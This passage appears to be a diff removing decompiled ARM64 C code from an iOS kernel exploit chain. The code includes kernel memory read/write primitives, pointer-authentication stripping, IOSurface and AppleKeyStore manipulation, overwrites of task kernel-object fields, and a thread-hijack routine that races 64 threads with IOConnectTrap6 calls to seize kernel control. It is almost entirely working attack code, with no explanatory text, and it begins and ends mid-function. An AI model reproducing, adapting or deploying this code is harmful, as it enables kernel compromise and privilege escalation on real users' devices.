*a2, v23 + v24) == v25 ) - break; - v24 -= 4; - if ( (uint32_t)v24 == -128 ) - { - v26 = 0; - break; - } - } - v27 = read_u32_from_kobj_snapshot((__int64)a2, *a2, v26 + 4); - gadgets->vmPageArray = ((v26 + 4) & 0xFFFFFFFFFFFFF000LL) - + 2LL * (int)(((v27 >> 18) & 0x1800) | (v27 >> 5 << 13)) - + (((unsigned int)read_u32_from_kobj_snapshot((__int64)a2, *a2, v26 + 8) >> 7) & 0x7FF8); - v28 = LOOKUP_KOBJ_PATTERN(a2, vmPageArrayWords, vmPageArrayMasks, 5); - gadgets->pmapTteTable = v28; - v29 = read_u32_from_kobj_snapshot((__int64)a2, *a2, v28 + 4); - v30 = read_u32_from_kobj_snapshot((__int64)a2, *a2, gadgets->pmapTteTable + 8LL); - result = 0; - gadgets->pmapTteTable = ((gadgets->pmapTteTable + 4LL) & 0xFFFFFFFFFFFFF000LL) - + 2LL * (int)(((v29 >> 18) & 0x1800) | (v29 >> 5 << 13)) - + ((v30 >> 7) & 0x7FF8); - return result; -} - -//----- (000000000001AA90) ---------------------------------------------------- -__int64 __fastcall spin_wait_el0_transition(__int64 result) -{ - __int64 v1; // x19 - - if ( *(uint32_t *)(result + 20) ) - { - v1 = result; - do - { - if ( (_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) & 0xFFC) != 0 ) - result = thread_switch(*(uint32_t *)(v1 + 20), 0, 0); - } - while ( *(uint32_t *)(v1 + 20) ); - } - return result; -} - -//----- (000000000001AADC) ---------------------------------------------------- -__int64 __fastcall necp_set_opt_string_2(__int64 a1, __int64 a2) -{ - const CFDictionaryRef *v4; // x0 - io_service_t MatchingService; // w0 - unsigned __int64 v6; // x21 - __int64 v7; // x0 - unsigned __int64 v8; // x23 - struct_krwCtx *v9; // x24 - __int64 v10; // x0 - unsigned __int64 v11; // x0 - __int64 v12; // x24 - __int64 v13; // x25 - __int64 v14; // x0 - struct_krwCtx *v15; // x24 - __int64 v16; // x0 - unsigned __int64 v17; // x0 - __int64 v18; // x24 - __int64 v19; // x25 - __int64 v20; // x0 - struct_krwCtx *v21; // x24 - __int64 v22; // x0 - unsigned __int64 v23; // x0 - __int64 v24; // x24 - __int64 v25; // x25 - __int64 v26; // x0 - struct_krwCtx *v27; // x24 - __int64 v28; // x0 - unsigned __int64 v29; // x0 - __int64 v30; // x24 - __int64 v31; // x25 - __int64 v32; // x0 - struct_krwCtx *v33; // x24 - __int64 v34; // x0 - unsigned __int64 v35; // x0 - __int64 v36; // x24 - __int64 v37; // x25 - __int64 v38; // x0 - struct_krwCtx *v39; // x24 - __int64 v40; // x0 - unsigned __int64 v41; // x0 - __int64 v42; // x24 - __int64 v43; // x25 - __int64 v44; // x0 - struct_krwCtx *v45; // x24 - __int64 v46; // x0 - unsigned __int64 v47; // x0 - __int64 v48; // x24 - __int64 v49; // x25 - __int64 v50; // x0 - struct_krwCtx *v51; // x24 - __int64 v52; // x0 - unsigned __int64 v53; // x0 - __int64 v54; // x24 - __int64 v55; // x25 - __int64 v56; // x0 - struct_krwCtx *v57; // x24 - __int64 v58; // x0 - unsigned __int64 v59; // x0 - __int64 v60; // x23 - __int64 v61; // x24 - __int64 v62; // x0 - __int64 v63; // x23 - __int64 v64; // x24 - __int64 v65; // x0 - __int64 v66; // x23 - __int64 v67; // x24 - __int64 v68; // x0 - __int64 v69; // x23 - __int64 v70; // x24 - __int64 v71; // x0 - __int64 v72; // x0 - __int64 v73; // x22 - __int64 v74; // x0 - unsigned __int64 v75; // x0 - __int64 result; // x0 - __int128 v77; // [xsp+10h] [xbp-50h] BYREF - - v4 = IOServiceMatching("AppleKeyStore"); - MatchingService = IOServiceGetMatchingService(kIOMasterPortDefault, v4); - IOServiceOpen(MatchingService, mach_task_self_, 0, (io_connect_t *)a2); - v6 = get_task_kobject_addr_from_field32(*(uint64_t *)a1, *(uint32_t *)a2); - *(uint64_t *)(a2 + 24) = kread_u64_value(*(uint64_t *)a1, v6 + 72); - v7 = kread_u64_value(*(uint64_t *)a1, v6); - *(uint64_t *)(a2 + 32) = v7; - v8 = krw_xpac_vaddr_2(KRWCTX_FROM_RAW_FIELD(*(uint64_t *)a1, 32), v7); - SET_IOSURFACE_ALLOC_PAGE_AND_COUNT(v77); - *(uint64_t *)(a2 + 16) = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))( - *(uint64_t *)(a1 + 8), - qword_480A0, - 2, - &v77); - v9 = KRWCTX_FROM_RAW_FIELD(*(uint64_t *)a1, 32); - v10 = kread_u64_value(*(uint64_t *)a1, v8 + (unsigned __int16)word_48048); - v11 = krw_xpac_vaddr_2(v9, v10); - v12 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_48048; - v13 = *(uint64_t *)a1; - v14 = (*(__int64 (__fastcall **)(uint64_t, unsigned __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))( - *(uint64_t *)(a1 + 8), - v11, - (v12 & 0xFFFFFFFFFFFFLL) | ((unsigned __int64)(unsigned __int16)word_4804A << 48)); - kwrite_u64_to_addr(v13, v12, v14); - v15 = KRWCTX_FROM_RAW_FIELD(*(uint64_t *)a1, 32); - v16 = kread_u64_value(*(uint64_t *)a1, v8 + (unsigned __int16)word_4804C); - v17 = krw_xpac_vaddr_2(v15, v16); - v18 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_4804C; - v19 = *(uint64_t *)a1; - v20 = (*(__int64 (__fastcall **)(uint64_t, unsigned __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))( - *(uint64_t *)(a1 + 8), - v17, - (v18 & 0xFFFFFFFFFFFFLL) | ((unsigned __int64)(unsigned __int16)word_4804E << 48)); - kwrite_u64_to_addr(v19, v18, v20); - v21 = KRWCTX_FROM_RAW_FIELD(*(uint64_t *)a1, 32); - v22 = kread_u64_value(*(uint64_t *)a1, v8 + (unsigned __int16)word_48050); - v23 = krw_xpac_vaddr_2(v21, v22); - v24 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_48050; - v25 = *(uint64_t *)a1; - v26 = (*(__int64 (__fastcall **)(uint64_t, unsigned __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))( - *(uint64_t *)(a1 + 8), - v23, - (v24 & 0xFFFFFFFFFFFFLL) | ((unsigned __int64)(unsigned __int16)word_48052 << 48)); - kwrite_u64_to_addr(v25, v24, v26); - v27 = KRWCTX_FROM_RAW_FIELD(*(uint64_t *)a1, 32); - v28 = kread_u64_value(*(uint64_t *)a1, v8 + (unsigned __int16)word_48054); - v29 = krw_xpac_vaddr_2(v27, v28); - v30 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_48054; - v31 = *(uint64_t *)a1; - v32 = (*(__int64 (__fastcall **)(uint64_t, unsigned __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))( - *(uint64_t *)(a1 + 8), - v29, - (v30 & 0xFFFFFFFFFFFFLL) | ((unsigned __int64)(unsigned __int16)word_48056 << 48)); - kwrite_u64_to_addr(v31, v30, v32); - v33 = KRWCTX_FROM_RAW_FIELD(*(uint64_t *)a1, 32); - v34 = kread_u64_value(*(uint64_t *)a1, v8 + (unsigned __int16)word_48058); - v35 = krw_xpac_vaddr_2(v33, v34); - v36 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_48058; - v37 = *(uint64_t *)a1; - v38 = (*(__int64 (__fastcall **)(uint64_t, unsigned __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))( - *(uint64_t *)(a1 + 8), - v35, - (v36 & 0xFFFFFFFFFFFFLL) | ((unsigned __int64)(unsigned __int16)word_4805A << 48)); - kwrite_u64_to_addr(v37, v36, v38); - v39 = KRWCTX_FROM_RAW_FIELD(*(uint64_t *)a1, 32); - v40 = kread_u64_value(*(uint64_t *)a1, v8 + (unsigned __int16)word_4805C); - v41 = krw_xpac_vaddr_2(v39, v40); - v42 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_4805C; - v43 = *(uint64_t *)a1; - v44 = (*(__int64 (__fastcall **)(uint64_t, unsigned __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))( - *(uint64_t *)(a1 + 8), - v41, - (v42 & 0xFFFFFFFFFFFFLL) | ((unsigned __int64)(unsigned __int16)word_4805E << 48)); - kwrite_u64_to_addr(v43, v42, v44); - v45 = KRWCTX_FROM_RAW_FIELD(*(uint64_t *)a1, 32); - v46 = kread_u64_value(*(uint64_t *)a1, v8 + (unsigned __int16)word_48060); - v47 = krw_xpac_vaddr_2(v45, v46); - v48 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_48060; - v49 = *(uint64_t *)a1; - v50 = (*(__int64 (__fastcall **)(uint64_t, unsigned __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))( - *(uint64_t *)(a1 + 8), - v47, - (v48 & 0xFFFFFFFFFFFFLL) | ((unsigned __int64)(unsigned __int16)word_48062 << 48)); - kwrite_u64_to_addr(v49, v48, v50); - v51 = KRWCTX_FROM_RAW_FIELD(*(uint64_t *)a1, 32); - v52 = kread_u64_value(*(uint64_t *)a1, v8 + (unsigned __int16)word_48070); - v53 = krw_xpac_vaddr_2(v51, v52); - v54 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_48070; - v55 = *(uint64_t *)a1; - v56 = (*(__int64 (__fastcall **)(uint64_t, unsigned __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))( - *(uint64_t *)(a1 + 8), - v53, - (v54 & 0xFFFFFFFFFFFFLL) | ((unsigned __int64)(unsigned __int16)word_48072 << 48)); - kwrite_u64_to_addr(v55, v54, v56); - v57 = KRWCTX_FROM_RAW_FIELD(*(uint64_t *)a1, 32); - v58 = kread_u64_value(*(uint64_t *)a1, v8 + (unsigned __int16)word_48064); - v59 = krw_xpac_vaddr_2(v57, v58); - v60 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_48064; - v61 = *(uint64_t *)a1; - v62 = (*(__int64 (__fastcall **)(uint64_t, unsigned __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))( - *(uint64_t *)(a1 + 8), - v59, - (v60 & 0xFFFFFFFFFFFFLL) | ((unsigned __int64)(unsigned __int16)word_48066 << 48)); - kwrite_u64_to_addr(v61, v60, v62); - v63 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_4806C; - v64 = *(uint64_t *)a1; - v65 = (*(__int64 (__fastcall **)(uint64_t, __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))( - *(uint64_t *)(a1 + 8), - qword_48078, - (v63 & 0xFFFFFFFFFFFFLL) | ((unsigned __int64)(unsigned __int16)word_4806E << 48)); - kwrite_u64_to_addr(v64, v63, v65); - v66 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_48068; - v67 = *(uint64_t *)a1; - v68 = (*(__int64 (__fastcall **)(uint64_t, __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))( - *(uint64_t *)(a1 + 8), - qword_48078 + 4, - (v66 & 0xFFFFFFFFFFFFLL) | ((unsigned __int64)(unsigned __int16)word_4806A << 48)); - kwrite_u64_to_addr(v67, v66, v68); - v69 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_48064; - v70 = *(uint64_t *)a1; - v71 = (*(__int64 (__fastcall **)(uint64_t, __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))( - *(uint64_t *)(a1 + 8), - qword_48078 + 4, - (v69 & 0xFFFFFFFFFFFFLL) | ((unsigned __int64)(unsigned __int16)word_48066 << 48)); - kwrite_u64_to_addr(v70, v69, v71); - SET_IOSURFACE_ALLOC_PAGE_AND_COUNT(v77); - v72 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))( - *(uint64_t *)(a1 + 8), - qword_480A0, - 2, - &v77); - *(uint64_t *)(a2 + 8) = v72; - kwrite_u64_to_addr(*(uint64_t *)a1, v72 + 16, 0); - kwrite_u64_to_addr(*(uint64_t *)a1, v6 + 72, *(uint64_t *)(a2 + 8)); - flush_cpu_cache(*(uint64_t *)a1, v6 + 156, 273); - v73 = *(uint64_t *)a1; - v74 = (*(__int64 (__fastcall **)(uint64_t, uint64_t, unsigned __int64))(**(uint64_t **)(a1 + 8) + 32LL))( - *(uint64_t *)(a1 + 8), - *(uint64_t *)(a2 + 16), - (v6 & 0xFFFFFFFFFFFFLL) | 0xCDA1000000000000LL); - kwrite_u64_to_addr(v73, v6, v74); - *(uint64_t *)&v77 = *(uint64_t *)(a2 + 8); - v75 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))( - *(uint64_t *)(a1 + 8), - qword_480B0, - 1, - &v77); - result = physmap_map_cached(KRWCTX_FROM_RAW_FIELD(*(uint64_t *)a1, 32), v75, a2 + 40); - **(uint64_t **)(a2 + 40) = 0; - return result; -} -// 0: using guessed type int def_3E8F0; -// 4: using guessed type int dword_4; -// 8: using guessed type int dword_8; -// C: using guessed type int; -// 10: using guessed type int dword_10; -// 14: using guessed type int; -// 18: using guessed type int; -// 1C: using guessed type int; -// 20: using guessed type segment_command_64 stru_20; - -//----- (000000000001B158) ---------------------------------------------------- -__int64 __fastcall write_task_kobject_fields(__int64 a1, __int64 a2) -{ - unsigned __int64 v4; // x21 - double v5; // d0 - __int64 result; // x0 - __int64 v7; // [xsp+8h] [xbp-38h] BYREF - __int64 v8; // [xsp+10h] [xbp-30h] - - v4 = get_task_kobject_addr_from_field32(*(uint64_t *)a1, *(uint32_t *)a2); - kwrite_u64_to_addr(*(uint64_t *)a1, v4 + 72, *(uint64_t *)(a2 + 24)); - kwrite_u64_to_addr(*(uint64_t *)a1, v4, *(uint64_t *)(a2 + 32)); - flush_cpu_cache(*(uint64_t *)a1, v4 + 156, 0); - v5 = physmap_unmap_cached(*(uint64_t *)(*(uint64_t *)a1 + 32LL), a2 + 40); - v7 = *(uint64_t *)(a2 + 8); - v8 = 0x4000; - (*(void (__fastcall **)(uint64_t, __int64, __int64, __int64 *, double))(**(uint64_t **)(a1 + 8) + 8LL))( - *(uint64_t *)(a1 + 8), - qword_480A8, - 2, - &v7, - v5); - v7 = *(uint64_t *)(a2 + 16); - v8 = 0x4000; - (*(void (__fastcall **)(uint64_t, __int64, __int64, __int64 *))(**(uint64_t **)(a1 + 8) + 8LL))( - *(uint64_t *)(a1 + 8), - qword_480A8, - 2, - &v7); - result = IOServiceClose(*(uint32_t *)a2); - *(uint32_t *)a2 = 0; - return result; -} - -//----- (000000000001B280) ---------------------------------------------------- -__int64 __fastcall trigger_iokit_property_exploit(__int64 a1) -{ - __int128 v3; // [xsp+20h] [xbp-30h] BYREF - - SET_IOSURFACE_ALLOC_PAGE_AND_COUNT(v3); - *(uint64_t *)&v3 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))( - *(uint64_t *)(a1 + 8), - qword_480A0, - 2, - &v3); - (*(void (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))( - *(uint64_t *)(a1 + 8), - qword_480B0, - 1, - &v3); - (*(void (__fastcall **)(uint64_t, __int64))(**(uint64_t **)(a1 + 8) + 48LL))(*(uint64_t *)(a1 + 8), 18); - return (*(__int64 (__fastcall **)(uint64_t, __int64))(**(uint64_t **)(a1 + 8) + 48LL))(*(uint64_t *)(a1 + 8), 16); -} - -//----- (000000000001B360) ---------------------------------------------------- -__int64 __fastcall wait_thread_ready(__int64 a1, uint64_t **a2) -{ - uint64_t *i; // x8 - __int16 j; // w8 - mach_port_name_t v6; // w0 - thread_act_t v7; // w0 - __int64 result; // x0 - integer_t policy_info[4]; // [xsp+30h] [xbp-30h] BYREF - - for ( i = *a2; *i; i = *a2 ) - sched_yield(); - for ( j = _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)); (j & 0xFFC) != 0; j = _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) ) - { - v6 = mach_thread_self(); - thread_switch(v6, 0, 0); - } - policy_info[0] = kThreadHijackReadyPolicy[0]; - policy_info[1] = kThreadHijackReadyPolicy[1]; - policy_info[2] = kThreadHijackReadyPolicy[2]; - policy_info[3] = kThreadHijackReadyPolicy[3]; - v7 = mach_thread_self(); - thread_policy_set(v7, 2u, policy_info, 4u); - result = (*(__int64 (__fastcall **)(uint64_t, __int64))(**(uint64_t **)(a1 + 8) + 48LL))(*(uint64_t *)(a1 + 8), 53); - **a2 = 2; - return result; -} - -//----- (000000000001B42C) ---------------------------------------------------- -__int64 __fastcall thread_hijack_exploit(__int64 a1) -{ - unsigned __int64 v2; // x26 - thread_act_t v3; // w0 - __int64 v4; // x20 - __int64 v5; // x21 - __int64 v6; // x0 - struct_krwCtx *v7; // x21 - __int64 v8; // x0 - unsigned __int64 v9; // x0 - struct_krwCtx *v10; // x21 - __int64 v11; // x0 - unsigned __int64 v12; // x22 - __int64 v13; // x21 - __int64 v14; // x0 - __int64 v16; // x0 - __int64 v17; // x0 - __int64 v18; // x21 - __int64 v19; // x23 - __int64 v20; // x0 - __int64 v21; // x21 - __int64 v22; // x23 - __int64 v23; // x8 - __int64 v24; // x0 - bool v25; // zf - __int64 v26; // x24 - __int64 v27; // x21 - __int64 v28; // x0 - unsigned __int64 v29; // x8 - __int64 v30; // x28 - unsigned __int64 v31; // x8 - mach_port_name_t v32; // w0 - __int64 v33; // x8 - int v34; // w21 - __int64 v35; // x9 - __int64 v36; // x20 - __int64 v37; // [xsp+40h] [xbp-400h] - unsigned __int64 v38; // [xsp+48h] [xbp-3F8h] - __int64 v39; // [xsp+50h] [xbp-3F0h] - __int64 v40; // [xsp+58h] [xbp-3E8h] - __int64 v41; // [xsp+60h] [xbp-3E0h] - __int64 v42; // [xsp+68h] [xbp-3D8h] - uintptr_t v43; // [xsp+70h] [xbp-3D0h] - unsigned __int64 v44; // [xsp+78h] [xbp-3C8h] - __int64 v45; // [xsp+88h] [xbp-3B8h] - uintptr_t v46; // [xsp+90h] [xbp-3B0h] - uint64_t v47[12]; // [xsp+A8h] [xbp-398h] BYREF - pthread_t v48; // [xsp+108h] [xbp-338h] BYREF - uint64_t v49[5]; // [xsp+110h] [xbp-330h] BYREF - __int64 v50; // [xsp+138h] [xbp-308h] BYREF - __int128 policy_info; // [xsp+140h] [xbp-300h] BYREF - __int128 connect[2]; // [xsp+150h] [xbp-2F0h] BYREF - __int128 v53; // [xsp+170h] [xbp-2D0h] - __int128 v54; // [xsp+180h] [xbp-2C0h] - __int128 v55; // [xsp+190h] [xbp-2B0h] - __int128 v56; // [xsp+1A0h] [xbp-2A0h] - __int128 v57; // [xsp+1B0h] [xbp-290h] BYREF - uint64_t v58[64]; // [xsp+1C8h] [xbp-278h] BYREF - - v2 = *(uint64_t *)algn_480E0; - if ( strstr((const char *)qword_480D8, "T8020") ) - return 5; - v55 = 0u; - v56 = 0u; - v53 = 0u; - v54 = 0u; - memset(connect, 0, sizeof(connect)); - necp_set_opt_string_2(a1, (__int64)connect); - ((integer_t *)&policy_info)[0] = kThreadHijackMainPolicy[0]; - ((integer_t *)&policy_info)[1] = kThreadHijackMainPolicy[1]; - ((integer_t *)&policy_info)[2] = kThreadHijackMainPolicy[2]; - ((integer_t *)&policy_info)[3] = kThreadHijackMainPolicy[3]; - v3 = mach_thread_self(); - thread_policy_set(v3, 2u, (thread_policy_t)&policy_info, 4u); - SET_IOSURFACE_ALLOC_PAGE_AND_COUNT(v57); - v4 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))( - *(uint64_t *)(a1 + 8), - qword_480A0, - 2, - &v57); - kwrite_u64_to_addr(*(uint64_t *)a1, v4, 0xBEE5000000010003LL); - kwrite_u64_to_addr(*(uint64_t *)a1, v4 + 8, v4 + 256); - kwrite_u64_to_addr(*(uint64_t *)a1, v4 + 16, v4 + 512); - kwrite_u64_to_addr(*(uint64_t *)a1, v4 + 24, v4 + 768); - SET_IOSURFACE_ALLOC_PAGE_AND_COUNT(v57); - v5 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))( - *(uint64_t *)(a1 + 8), - qword_480A0, - 2, - &v57); - while ( 1 ) - { - v6 = (*(__int64 (__fastcall **)(uint64_t, __int64))(**(uint64_t **)(a1 + 8) + 48LL))(*(uint64_t *)(a1 + 8), 48); - if ( (unsigned __int8)v6 != 6 ) - break; - trigger_iokit_property_exploit(a1); - } - if ( v6 ) - return 5; - v45 = kread_u64_value(*(uint64_t *)a1, v5); - v7 = KRWCTX_FROM_RAW_FIELD(*(uint64_t *)a1, 32); - v8 = kread_u64_value(*(uint64_t *)a1, *(uint64_t *)(*(uint64_t *)a1 + 16LL) + 40LL); - v9 = krw_xpac_vaddr_2(v7, v8); - v10 = KRWCTX_FROM_RAW_FIELD(*(uint64_t *)a1, 32); - v11 = kread_u64_value(*(uint64_t *)a1, v9 + 64); - v12 = krw_xpac_vaddr_2(v10, v11); - SET_IOSURFACE_ALLOC_PAGE_AND_COUNT(v57); - v13 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))( - *(uint64_t *)(a1 + 8), - qword_480A0, - 2, - &v57); - kwrite_u64_to_addr(*(uint64_t *)a1, v13, 0); - v58[0] = v13; - (*(void (__fastcall **)(uint64_t, __int64, __int64, uint64_t *))(**(uint64_t **)(a1 + 8) + 8LL))( - *(uint64_t *)(a1 + 8), - qword_480B0, - 1, - v58); - while ( 1 ) - { - v14 = (*(__int64 (__fastcall **)(uint64_t, __int64))(**(uint64_t **)(a1 + 8) + 48LL))(*(uint64_t *)(a1 + 8), 10); - if ( (unsigned __int8)v14 != 6 ) - break; - trigger_iokit_property_exploit(a1); - } - if ( v14 ) - return 5; - MEMORY[0x400004008] = 1094795585; - v16 = kread_u64_value(*(uint64_t *)a1, v12); - v58[0] = kread_u64_value(*(uint64_t *)a1, v16) & 0xFFFFFFFFC000LL; - v17 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, uint64_t *))(**(uint64_t **)(a1 + 8) + 8LL))( - *(uint64_t *)(a1 + 8), - qword_480B8, - 1, - v58); - v18 = kread_u64_value(*(uint64_t *)a1, v17 + 4096) & 0xFFFFFFFFC000LL; - v58[0] = v18; - v42 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, uint64_t *))(**(uint64_t **)(a1 + 8) + 8LL))( - *(uint64_t *)(a1 + 8), - qword_480B8, - 1, - v58); - v44 = (kread_u64_value(*(uint64_t *)a1, v42 + 8) & 0xFFFF000000003FFFLL) | v18; - SET_IOSURFACE_ALLOC_PAGE_AND_COUNT(v57); - v43 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))( - *(uint64_t *)(a1 + 8), - qword_480A0, - 2, - &v57); - v19 = *(uint64_t *)a1; - v20 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64))(**(uint64_t **)(a1 + 8) + 16LL))( - *(uint64_t *)(a1 + 8), - qword_48098, - 20592); - kwrite_u64_to_addr(v19, v43 + 64, v20); - SET_IOSURFACE_ALLOC_PAGE_AND_COUNT(v57); - v46 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))( - *(uint64_t *)(a1 + 8), - qword_480A0, - 2, - &v57); - v21 = 0; - do - { - v22 = kThreadHijackAllocCandidates[v21].size; - v23 = kThreadHijackAllocCandidates[v21].pageCount; - *(uint64_t *)&v57 = (v22 + 0x3FFF) & 0xFFFFFFFFFFFFC000LL; - *((uint64_t *)&v57 + 1) = v23; - v24 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))( - *(uint64_t *)(a1 + 8), - qword_480A0, - 2, - &v57); - if ( v24 ) - v25 = 1; - else - v25 = v21 == 2; - ++v21; - } - while ( !v25 ); - v26 = v24; - v27 = kread_u64_value(*(uint64_t *)a1, qword_480C8); - v39 = kread_u64_value(*(uint64_t *)a1, qword_480D0); - v58[0] = v26; - v28 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, uint64_t *))(**(uint64_t **)(a1 + 8) + 8LL))( - *(uint64_t *)(a1 + 8), - qword_480B0, - 1, - v58); - v50 = 1; - v29 = v44; - if ( v2 > 0x918C5A833FFLL ) - v29 = v42; - v37 = ((unsigned __int64)(v28 - v27) >> 13) & 0x7FFFFFFFFFFFELL; - v38 = v29; - v41 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64))(**(uint64_t **)(a1 + 8) + 16LL))( - *(uint64_t *)(a1 + 8), - qword_48080, - 28765); - v40 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64))(**(uint64_t **)(a1 + 8) + 16LL))( - *(uint64_t *)(a1 + 8), - qword_48088, - 28765); - v30 = 0; - *(uint32_t *)(a1 + 20) = mach_thread_self(); - do - { - v49[0] = _NSConcreteStackBlock; - v49[1] = 3221225472LL; - v49[2] = spin_wait_el0_via_ptr; - v49[3] = &unk_44918; - v49[4] = a1; - pthread_create((pthread_t *)&v58[v30++], 0, (void *(__cdecl *)(void *))call_vtable_ptr_slot2_v2, v49); - } - while ( v30 != 64 ); - v47[0] = _NSConcreteStackBlock; - v47[1] = 3221225472LL; - v47[2] = wait_thread_via_ptr; - v47[3] = &unk_44938; - v47[4] = a1; - v47[5] = &v50; - v31 = v44; - if ( v2 <= 0x918C5A833FFLL ) - v31 = v42; - v47[6] = v45 + 8; - v47[7] = v38; - v47[8] = v31; - v47[9] = 0; - v47[10] = v26; - v47[11] = v22; - pthread_create(&v48, 0, (void *(__cdecl *)(void *))call_vtable_ptr_slot2_v2, v47); - while ( (_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) & 0xFFC) == 0 ) - { - v32 = mach_thread_self(); - thread_switch(v32, 0, 0); - } - v50 = 0; - while ( (kread_u32_value(*(uint64_t *)a1, v37 + v39) & 0x8000) == 0 ) - ; - v33 = *((uint64_t *)&v53 + 1); - **((uint64_t **)&v53 + 1) = v45; - *(uint64_t *)(v33 + 8) = v40; - IOConnectTrap6(connect[0], 0, 0xBEE2u, 0, 0, 0, 0, 0); - v34 = 8; - do - { - v35 = *((uint64_t *)&v53 + 1); - **((uint64_t **)&v53 + 1) = qword_480C0; - *(uint64_t *)(v35 + 8) = v41; - IOConnectTrap6(connect[0], 0, v43, v4, 0x20u, v46, 0, 0); - --v34; - } - while ( v34 ); - while ( v50 != 2 ) - ; - *(uint64_t *)&v57 = v26; - *((uint64_t *)&v57 + 1) = (v22 + 0x3FFF) & 0xFFFFFFFFFFFFC000LL; - (*(void (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))( - *(uint64_t *)(a1 + 8), - qword_480A8, - 2, - &v57); - __dsb(0xFu); - (*(void (__fastcall **)(uint64_t, __int64, uint64_t, uint64_t))(**(uint64_t **)(a1 + 8) + 8LL))( - *(uint64_t *)(a1 + 8), - qword_48090, - 0, - 0); - v36 = 0; - *(uint32_t *)(a1 + 20) = 0; - do - pthread_join((pthread_t)v58[v36++], 0); - while ( v36 != 64 ); - pthread_join(v48, 0); - write_task_kobject_fields(a1, (__int64)connect); - return 0; -} -// 20: using guessed type segment_command_64 stru_20; - -//----- (000000000001BC54) ---------------------------------------------------- -__int64 __fastcall call_vtable_ptr_slot2_v2(__int64 a1) -{ - return (*(__int64 (**)(void))(a1 + 16))(); -} - -//----- (000000000001BC60) ---------------------------------------------------- -__int64 __fastcall spin_wait_el0_via_ptr(__int64 a1) -{ - return spin_wait_el0_transition(*(uint64_t *)(a1 + 32)); -} - -//----- (000000000001BC68) ---------------------------------------------------- -__int64 __fastcall wait_thread_via_ptr(__int64 a1) -{ - return wait_thread_ready(*(uint64_t *)(a1 + 32), (uint64_t **)(a1 + 40)); -} - -//----- (000000000001BC78) ---------------------------------------------------- -__int64 __fastcall get_task_vm_region_base(task_name_t a1) -{ - uint64_t *v3; // x20 - vm_size_t outsize; // [xsp+8h] [xbp-28h] BYREF - __int64 v5; // [xsp+10h] [xbp-20h] BYREF - __int64 v6; // [xsp+18h] [xbp-18h] BYREF - - if ( (unsigned int)get_task_vm_info_0(a1, &v6) ) - return 0; - v3 = (uint64_t *)(v6 + 40); - if ( mach_task_self_ == a1 ) - { - *v3 |= 1uLL; - } - else - { - if ( vm_read_overwrite(a1, v6 + 40, 8u, (vm_address_t)&v5, &outsize) ) - return 0; - v5 |= 1uLL; - if ( vm_write(a1, (vm_address_t)v3, (vm_offset_t)&v5, 8u) ) - return 0; - } - return 1; -} - -//----- (000000000001BD24) ---------------------------------------------------- -__int64 __fastcall get_task_vm_info_0(task_name_t a1, uint64_t *a2) -{ - __int64 result; // x0 - mach_msg_type_number_t task_info_outCnt; // [xsp+4h] [xbp-2Ch] BYREF - integer_t task_info_out[6]; // [xsp+8h] [xbp-28h] BYREF - - task_info_outCnt = 5; - result = task_info(a1, 0x11u, task_info_out, &task_info_outCnt); - if ( !(uint32_t)result ) - { - if ( *(uint64_t *)task_info_out ) - { - result = 0; - *a2 = *(uint64_t *)task_info_out; - } - else - { - return 5; - } - } - return result; -} - -//----- (000000000001BD80) ---------------------------------------------------- -__int64 __fastcall iosurface_enum_mach_port(__int64 a1, unsigned int a2) -{ - unsigned int v2; // w0 - unsigned 